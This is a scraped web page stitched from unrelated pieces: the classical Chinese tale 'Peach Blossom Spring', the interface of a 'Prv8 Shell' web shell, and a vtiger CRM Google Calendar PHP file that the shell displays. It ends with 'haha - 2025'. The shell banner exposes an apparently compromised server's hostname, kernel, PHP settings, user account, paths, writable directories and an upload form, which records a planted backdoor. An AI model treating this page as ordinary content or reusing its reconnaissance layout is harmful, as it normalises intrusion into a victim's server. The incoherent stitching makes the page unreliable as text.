晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Google/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/modules/Google/models/Calendar.php
<?php
/* +***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * *********************************************************************************** */

vimport('~~/modules/WSAPP/synclib/models/SyncRecordModel.php');

class Google_Calendar_Model extends WSAPP_SyncRecordModel {
    
    public $startUTC;
    public $endUTC;

    /**
     * return id of Google Record
     * @return <string> id
     */
    function getId() {
        return $this->data['entity']->getId();
    }

    /**
     * return modified time of Google Record
     * @return <date> modified time 
     */
    public function getModifiedTime() {
        return $this->vtigerFormat($this->data['entity']->getUpdated());
    }

    /**
     * return Subject of Google Record
     * @return <string> Subject
     */
    function getSubject() {
        return $this->data['entity']->getSummary();
    }

    /**
     * return Start time time in UTC of Google Record
     * @return <date> start time
     */
    function getStartTimeUTC($user = false) {
        if (isset($this->startUTC)) {
            return $this->startUTC;
        }
        if(!$user) {
            $user = Users_Record_Model::getCurrentUserModel();
        }
        $when = $this->data['entity']->getStart();
        if (empty($when)) {
            $gStart = "00:00";
        } else if ($when->getDateTime()) {
            $gStart = $when->getDateTime();
        } else {
            $gStart = "00:00";
        }
        $start = new DateTime($gStart);
        $timeZone = new DateTimeZone('UTC');
        $start->setTimezone($timeZone);
        $startUTC = $start->format('H:i:s');
        $gDateTime = $when->getDateTime();
        if($startUTC == '00:00:00' && empty($gDateTime)) {
            $userTimezone = $user->get('time_zone');
            $startUTCObj = DateTimeField::convertTimeZone($startUTC, $userTimezone, DateTimeField::getDBTimeZone());
            $startUTC = $startUTCObj->format('H:i:s');
        }
        $this->startUTC = $startUTC;
        return $startUTC;
    }

    /**
     * return End time time in UTC of Google Record
     * @return <date> end time
     */
    function getEndTimeUTC($user = false) {
        if (isset($this->endUTC)) {
            return $this->endUTC;
        }
        if(!$user) {
            $user = Users_Record_Model::getCurrentUserModel();
        }
        $when = $this->data['entity']->getEnd();
        if (empty($when)) {
            $gEnd = "00:00";
        } else if ($when->getDateTime()) {
            $gEnd = $when->getDateTime();
        } else {
            $gEnd = "00:00";
        }
        $end = new DateTime($gEnd);
        $timeZone = new DateTimeZone('UTC');
        $end->setTimezone($timeZone);
        $endUTC = $end->format('H:i:s');
        $gDateTime = $when->getDateTime();
        if($endUTC == '00:00:00' && empty($gDateTime)) {
            $userTimezone = $user->get('time_zone');
            $startUTCObj = DateTimeField::convertTimeZone($endUTC, $userTimezone, DateTimeField::getDBTimeZone());
            $endUTC = $startUTCObj->format('H:i:s');
        }
        $this->endUTC = $endUTC;
        return $endUTC;
    }

    /**
     * return start date in UTC of Google Record
     * @return <date> start date
     */
    function getStartDate($user = false) {
        if (isset($this->startDate)) {
            return $this->startdate;
        }
        if(!$user) {
            $user = Users_Record_Model::getCurrentUserModel();
        }
        $when = $this->data['entity']->getStart();
        if (empty($when)) {
            $gStart = date('Y-m-d');
        } else if ($when->getDateTime()) {
            $gStart = $when->getDateTime();
        } else if($when->getDate()) {
            $gStart = $when->getDate();
        } else {
            $gStart = date('Y-m-d');
        }
        $start = new DateTime($gStart);
        $timeZone = new DateTimeZone('UTC');
        $start->setTimezone($timeZone);
        $startDate = $start->format('Y-m-d');
        $gDateTime = $when->getDateTime();
        if($start->format('H:i:s') == '00:00:00' && empty($gDateTime)) {
            $userTimezone = $user->get('time_zone');
            $startUTCObj = DateTimeField::convertTimeZone($startDate, $userTimezone, DateTimeField::getDBTimeZone());
            $startDate = $startUTCObj->format('Y-m-d');
        }
        $this->startDate = $startDate;
        return $startDate;
    }

    /**
     * return  End  date in UTC of Google Record
     * @return <date> end date
     */
    function getEndDate($user = false) {
        if (isset($this->endUTC)) {
            return $this->endUTC;
        }
        if(!$user) {
            $user = Users_Record_Model::getCurrentUserModel();
        }
        $when = $this->data['entity']->getEnd();
        if (empty($when)) {
            $gEnd = date('Y-m-d');
        } else if ($when->getDateTime()) {
            $gEnd = $when->getDateTime();
        } else if ($when->getDate()) {
            $gEnd = $when->getDate();
        } else {
            $gEnd = date('Y-m-d');
        }
        $end = new DateTime($gEnd);
        $timeZone = new DateTimeZone('UTC');
        $end->setTimezone($timeZone);
        $endDate = $end->format('Y-m-d');
        $gDateTime = $when->getDateTime();
        if($end->format('H:i:s') == '00:00:00' && empty($gDateTime)) {
            $userTimezone = $user->get('time_zone');
            $endUTCObj = DateTimeField::convertTimeZone($endDate, $userTimezone, DateTimeField::getDBTimeZone());
            $endDate = $endUTCObj->format('Y-m-d');
        }
        $this->endDate = $endDate;
        return $endDate;
    }

    /**
     * return tilte of Google Record
     * @return <string> title
     */
    function getTitle() {
        $title = $this->data['entity']->getSummary();
        return empty($title) ? null : $title;
    }
    
    /**
     * function to get Visibility of google calendar event
     * @return <string> visibility of google event (Private or Public)
     * @return <null> if google event visibility is default
     */
    function getVisibility($user) {
        $visibility = $this->data['entity']->getVisibility();
        if(strpos($visibility, 'private') !== false)
            return 'Private';
        else if(strpos($visibility, 'public') !== false)
            return 'Public';
        else {
            $calendarsharedtype = $user->get('calendarsharedtype');
            if($calendarsharedtype == 'selectedusers' || $calendarsharedtype == 'public') {
                return 'Public';
            }
            return 'Private';
        }
    }

    /**
     * return discription of Google Record
     * @return <string> Discription
     */
    function getDescription() {
        return $this->data['entity']->getDescription();
    }

    /**
     * return location of Google Record
     * @return <string> location
     */
    function getWhere() {
        $where = $this->data['entity']->getLocation();
        return $where;
    }

    /**
     * return attendentees of Google Record
     */
    public function getAttendees() {
        $attendeeDetails = array();
        $attendees = $this->data['entity']->getAttendees();
        if(is_array($attendees)) {
            foreach($attendees as $attendee) {
                $attendeeDetails[] = $attendee->getEmail();
            }
        }
        return $attendeeDetails;
    }

    /**
     * Returns the Google_Contacts_Model of Google Record
     * @param <array> $recordValues
     * @return Google_Contacts_Model
     */
    public static function getInstanceFromValues($recordValues) {
        $model = new Google_Calendar_Model($recordValues);
        return $model;
    }

    /**
     * converts the Google Format date to 
     * @param <date> $date Google Date
     * @return <date> Vtiger date Format
     */
    public function vtigerFormat($date) {
        list($date, $timestring) = explode('T', $date);
        list($time, $tz) = explode('.', $timestring);

        return $date . " " . $time;
    }

}

?>

haha - 2025